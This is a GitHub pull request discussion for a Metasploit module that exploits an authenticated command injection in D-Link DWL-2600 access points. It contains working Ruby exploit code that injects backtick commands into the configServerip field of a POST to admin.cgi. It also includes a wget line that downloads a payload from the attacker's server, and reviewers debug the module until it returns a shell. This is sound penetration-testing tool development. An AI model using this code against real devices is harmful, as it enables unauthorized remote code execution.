-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Adding DLINK DWL-2600 Command Injection Module #12756
Conversation
This module takes advantage of a previously discovered command injection vulnerability in DLINK DWL-2600 WiFi Access points. This vulnerability is authenticated, and the module is responsible for retrieving a valid authentication token.
Merry Christmas and Happy Holidays! |
filename = rand_text_alpha_lower(8) | ||
|
||
#not working if we send all command together -> lets take three requests | ||
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Can this not use the wget
command stager from the Msf::Exploit::CmdStager
mixin?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Will that mixin retain the absolute path to wget? This particular device doesn't have /usr/bin
on the path. If so I will definitely change this.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I just call generate_cmdstager
and prefix the wget
command with the absolute path. It's not ideal, but it's a heck of a lot less boilerplate.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
got it, will update the pr.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
metasploit-framework/modules/exploits/linux/http/pulse_secure_cmd_exec.rb
Lines 124 to 129 in 75dc82f
def execute_command(cmd, _opts = {}) | |
# Prepend absolute path to curl(1), since it's not in $PATH | |
cmd.prepend('/home/bin/') if cmd.start_with?('curl') | |
# Bypass application whitelisting with permitted env(1) | |
cmd.prepend('env ') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'm having a hard time figuring out how to use the CMDStager in terms of how much functionality it will replace in this module. I've seen https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers but it doesn't really mention the wget
flavor. Basically just looking for some more direction on how to use cmdstager. Thanks.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
All of this is untested, but I hope that this is somewhat helpful. First, make sure to include the Msf::Exploit::CmdStager
mixin and define the CmdStagerFlavor
in the info. I don't think you'll need any of the code used in setting up an http server, and I don't believe you'll need on_request_uri()
or wait_linux_payload()
either because an http server will be set up by default when the wget
flavor is chosen. You can also remove Msf::Exploit::Remote::HttpServer
because that will be included with the command stager mixin.
Instead of breaking your payload up into separate commands and calling request()
with each command, you can replace your request()
method with execute_command()
and call execute_cmdstager()
with the linemax
option set in your exploit()
method. This will do the same thing that you're currently doing, but it will reduce the code a bit and make all of the requests for you.
def execute_command(cmd, opts={})
cmd.prepend('/usr/bin/') if cmd.start_with?('wget')
bogus = Rex::Text.rand_text_alpha(rand(10))
post_data = Rex::MIME::Message.new
post_data.add_part("up", nil, nil, "form-data; name=\"optprotocol\"")
post_data.add_part(bogus, nil, nil, "form-data; name=\"configRestore\"")
post_data.add_part("`#{cmd}`", nil, nil, "form-data; name=\"configServerip\"")
print_status("Sending CGI payload using token: #{@token}") # Note token is an instance variable now
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin.cgi'),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => "sessionHTTP=#{@token};",
'data' => post_data.to_s,
'query' => 'action=config_restore'
})
unless res || res.code != 200
fail_with(Failure::UnexpectedReply, "Command wasn't executed, aborting!")
end
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return
end
Your exploit()
method might look something like:
def exploit
# login code, grab token, etc.
...
if target.name =~ /CMD/
unless (datastore['CMD'])
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
end
execute_command(payload.encoded)
else
execute_cmdstager(linemax: 100)
end
end
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for writing that up, @space-r7!
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thank you @space-r7 ; I will return to this sometime soon and get it fixed. Thanks!
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
No problem!
documentation/modules/exploit/linux/http/dlink_dwl_2600_command_injection.md
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/linux/http/dlink_dwl_2600_command_injection.md
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/linux/http/dlink_dwl_2600_command_injection.md
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/dlink_dwl_2600_command_injection.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/dlink_dwl_2600_command_injection.rb
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/linux/http/dlink_dwl_2600_command_injection.md
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/dlink_dwl_2600_command_injection.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/dlink_dwl_2600_command_injection.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/dlink_dwl_2600_command_injection.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/dlink_dwl_2600_command_injection.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/dlink_dwl_2600_command_injection.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/dlink_dwl_2600_command_injection.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/dlink_dwl_2600_command_injection.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/dlink_dwl_2600_command_injection.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/dlink_dwl_2600_command_injection.rb
Outdated
Show resolved
Hide resolved
bear with me on this one, it may take me a few days to get back to it. Apologies! |
I'm very sorry that I was not able to get to this in a timely fashion. I will test your PR this weekend and merge if everything works, as well as send over a pcap. Thanks again for your patience and help with this. I really appreciate it. |
I merged the other pull request, but the module does not yet return a shell. I will troubleshoot and submit another commit this weekend. |
I'm seeing the following output:
Does this line look right?
|
No, but the command stager is insane, so I wouldn't be too concerned. (#9693) |
It looks like |
token = res.body[tokenoffset, endoffset - tokenoffset] | ||
|
||
if token.empty? | ||
fail_with(Failure::NoAccess, "#{peer} - No Auth token received") | ||
end | ||
|
||
print_good("#{peer} - Received Auth token: #{token}") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Untested, but this might fix the issue.
token = res.body[tokenoffset, endoffset - tokenoffset] | |
if token.empty? | |
fail_with(Failure::NoAccess, "#{peer} - No Auth token received") | |
end | |
print_good("#{peer} - Received Auth token: #{token}") | |
@token = res.body[tokenoffset, endoffset - tokenoffset] | |
if @token.empty? | |
fail_with(Failure::NoAccess, "#{peer} - No Auth token received") | |
end | |
print_good("#{peer} - Received Auth token: #{@token}") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I made this change and it definitely runs better now, but its still not executing the command on the device. I am not sure what is going on but I'll continue to debug.
Ok, the problem is the command injection location doesn't want to accept multiple concatenated commands at once. So that means I need to make each command segment as an independent request, one for |
Shortening the value for the |
I tried reducing the |
Looking at https://github.com/rapid7/rex-exploitation/blob/00db2b2212425b44a1107bd3be65e346f87af403/lib/rex/exploitation/cmdstager/wget.rb it seems like there is no option that will "split" up the commands into individual requests. Should we:
Thanks! |
Nevermind, I found https://github.com/rapid7/rex-exploitation/blob/00db2b2212425b44a1107bd3be65e346f87af403/lib/rex/exploitation/cmdstager/base.rb#L133 |
These last finishing touches complete the DLINK DWL 2600 Module. The fixes include making renaming token to @token and adding the noconcat CmdStager option.
I have submitted what I consider the final commit for this module. Please let me know if there are any last modifications you would like to see; I don't think there are any outstanding changes requested. I'd like to thank @space-r7 and @bcoles for their help on this. Thank you very much! Also, let me know where I need to send the PCAP! |
It may or may not be better to wait for spacey to review your changes before sending the pcap in case further changes are required. pcaps can be sent to |
Oops, that was indeed the one you wanted. Sorry for suggesting otherwise. The only change that I think may be needed is the exploit output in the documentation should be changed since the command stager is being used now. Beyond that, feel free to send the PCAP to |
I'll get the pcap emailed out today and I will also update the documentation scenarios. standby. thanks |
PCAP Emailed and documentation updated. |
Verified the PCAP, removed mixins that were no longer needed, and added the cve to the module. Thanks again, @nstarke! |
Release NotesThis adds an exploit module for D-Link DWL-2600 4.2.0.15 Rev A Access Point. The vulnerability exists within the restore configuration functionality in the web interface. Authenticated remote code execution can be achieved by sending a POST request to the |
Thanks again everyone for your help and patience here. |
This module takes advantage of a previously discovered command injection
vulnerability in DLINK DWL-2600 WiFi Access points. This vulnerability
is authenticated, and the module is responsible for retrieving a valid
authentication token.
Documentation markdown is included for instructions and example output.